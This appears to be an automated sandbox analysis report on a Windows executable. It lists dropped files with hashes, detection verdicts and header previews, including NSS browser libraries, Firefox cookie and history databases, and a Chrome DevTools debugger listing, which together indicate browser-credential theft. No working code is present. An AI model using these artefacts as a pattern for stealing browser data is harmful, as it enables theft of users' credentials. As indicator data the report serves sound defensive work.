SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe

Download File

Process:	C:\Users\user\Desktop\IeccNv7PP6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	414208
Entropy (8bit):	5.890713236346515
Encrypted:	false
SSDEEP:	3072:/XESEL1VgtAugYqW+VXi2UHrPan1IiJ9ETfFXSv4wR5gWY9UdaMRH4Lb9mQeIAzk:vGL1GtAoDrnrPS13ITfFux4Vmvq3UT
MD5:	73ADCB1012B382B6194C34B5CF277C9E
SHA1:	D4F2A95A5E37A2AF9A12367D2C2A1938E3CA7C55
SHA-256:	4A1C3BD9AD6059315A24B7BBB2CD9D6164375555E41A7BFE2CA2353B54F4A32F
SHA-512:	31706367E44444B5713E59A306F75A43F3B8B8D48114D7D12B172496291200C25CA75BCCAA820D5E988FD28DBB1C09C8E52817B0A01ACFA88217CE0431110552
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.v..l...l...l...>..#l...>...l...>..yl..$.c..l...l...l...>...l...>...l...>...l..Rich.l..................PE..L....Be.................d...L......B]............@...........................%.....,........................................i..(....P..............................................................hI..@............................................text..."c.......d.................. ..`.data...........`...h..............@....dipo........0......................@..@.puwuxu......@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.375671718133598
Encrypted:	false
SSDEEP:	48:SfNaoQl7TEQwfNaoQgQ4fNaoQ/tQhfNaoQSkh0UrU0U8QX8:6NnQl7TEQ8NnQgQENnQ/tQ9NnQSkh0Uf
MD5:	A1BAA4D98356B08807B69C0A4A98CA0E
SHA1:	0CE9F5AD22BE36AA7DA73B267A9DE79DDA6BD3B8
SHA-256:	F08406565FD0D46157EC9D6025225E071686805E261F5EB9086E02717946E357
SHA-512:	5FC1CB3A1EAF6A7E261348F5C827B5B0FA3524713CBA6EEECD6D5DA3963ECDDCA488B29B77A92C87DFAC694A305B4A06CD11B116CDA34A532D45DAC8A35F51FC
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E082C6E7B5DDB3DD8BBF74F7F29DB916",.. "id": "E082C6E7B5DDB3DD8BBF74F7F29DB916",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E082C6E7B5DDB3DD8BBF74F7F29DB916"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6262229F65A9CB02D8073C08145FF3E7",.. "id": "6262229F65A9CB02D8073C08145FF3E7",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6262229F65A9CB02D8073C08145FF3E7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Download File

Process:	C:\Users\user\Desktop\IeccNv7PP6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	414208
Entropy (8bit):	5.890713236346515
Encrypted:	false
SSDEEP:	3072:/XESEL1VgtAugYqW+VXi2UHrPan1IiJ9ETfFXSv4wR5gWY9UdaMRH4Lb9mQeIAzk:vGL1GtAoDrnrPS13ITfFux4Vmvq3UT
MD5:	73ADCB1012B382B6194C34B5CF277C9E
SHA1:	D4F2A95A5E37A2AF9A12367D2C2A1938E3CA7C55
SHA-256:	4A1C3BD9AD6059315A24B7BBB2CD9D6164375555E41A7BFE2CA2353B54F4A32F
SHA-512:	31706367E44444B5713E59A306F75A43F3B8B8D48114D7D12B172496291200C25CA75BCCAA820D5E988FD28DBB1C09C8E52817B0A01ACFA88217CE0431110552
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.v..l...l...l...>..#l...>...l...>..yl..$.c..l...l...l...>...l...>...l...>...l..Rich.l..................PE..L....Be.................d...L......B]............@...........................%.....,........................................i..(....P..............................................................hI..@............................................text..."c.......d.................. ..`.data...........`...h..............@....dipo........0......................@..@.puwuxu......@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465460520386996
Encrypted:	false
SSDEEP:	6144:vIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNodwBCswSbx:AXD94+WlLZMM6YFH2+x
MD5:	938D9DD171491617FF394B9B582010E7
SHA1:	231278FBBC6E5E0979C0AD8F7265B41B86561860
SHA-256:	16B2CDFB698F12CBAAA5DB934FA04D7E27417816D3BF609188F31EFFF858EF1E
SHA-512:	913F03F2BA04FFE00836CEB2E181277968CDA6C291CE77C01101E4D72698F06DD64600A726AFE3F847FBB2F53624F201CABF64DF0B12C2EABA65E0724C7BF990
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmR.j.?..............................................................................................................................................................................................................................................................................................................................................zq}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (792)
Category:	downloaded
Size (bytes):	797
Entropy (8bit):	5.181566951224782
Encrypted:	false
SSDEEP:	24:n76kPWopL8/BHslgT9lCuABuoB7HHHHHHHYqmffffffo:76+1A/KlgZ01BuSEqmffffffo
MD5:	140BAB296C1541B193F82FA0575289ED
SHA1:	C2717F49948FF39BE4CE8B9FCB00C0145881177D
SHA-256:	65E05204CB42B10593089F3AA9EBA65E6D06821CBA4D8DC11AD83AF669A553F2
SHA-512:	3C3E522A1B9449CB293D857565EEF8AE44BEAE43334A67E3487324D9AE83F80BC613BB56509048FC2808931A39AE150A33303A8F0FF31A6EAB2BFDE8038F81FC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["miami dolphins patriots","disney dreamlight valley spanakopita","wednesday season two","michigan deer hunters dying","krispy kreme grinch doughnuts","v bucks redeem codes","box office wicked movie","fantasy football waiver wire week 13"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.435129020671956
Encrypted:	false
SSDEEP:	3072:fNkXyPqO7UX1Hme9kZbs4Voc5rSnXqwQ2i6o:fWyWFHrp4Voc5rSnawQ8o
MD5:	7001758A0BAFF677E89BCFAF84DAB275
SHA1:	B02E10479BB17B3DCE885F64F3BC8A150D183836
SHA-256:	6517AF5237102B3740B294C468DC8546F14DAA008A3B2E7AD32C2EC1FAC92EDC
SHA-512:	318FD85F9BA8E9ADA4D5936CDACB6FF997AFF2379A9F52CA3B0E21D0F3954D297F6E55993D45591EBA0A0035D42568D1A4F78FEAA49DE982C4B9C08E862A924C
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.09809161613315
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IeccNv7PP6.exe
File size:	392'192 bytes
MD5:	621b2c50b6826eacc84dc510f890fe48
SHA1:	892378a26c3612c91e75fb0fa2614c4f33c42f9d
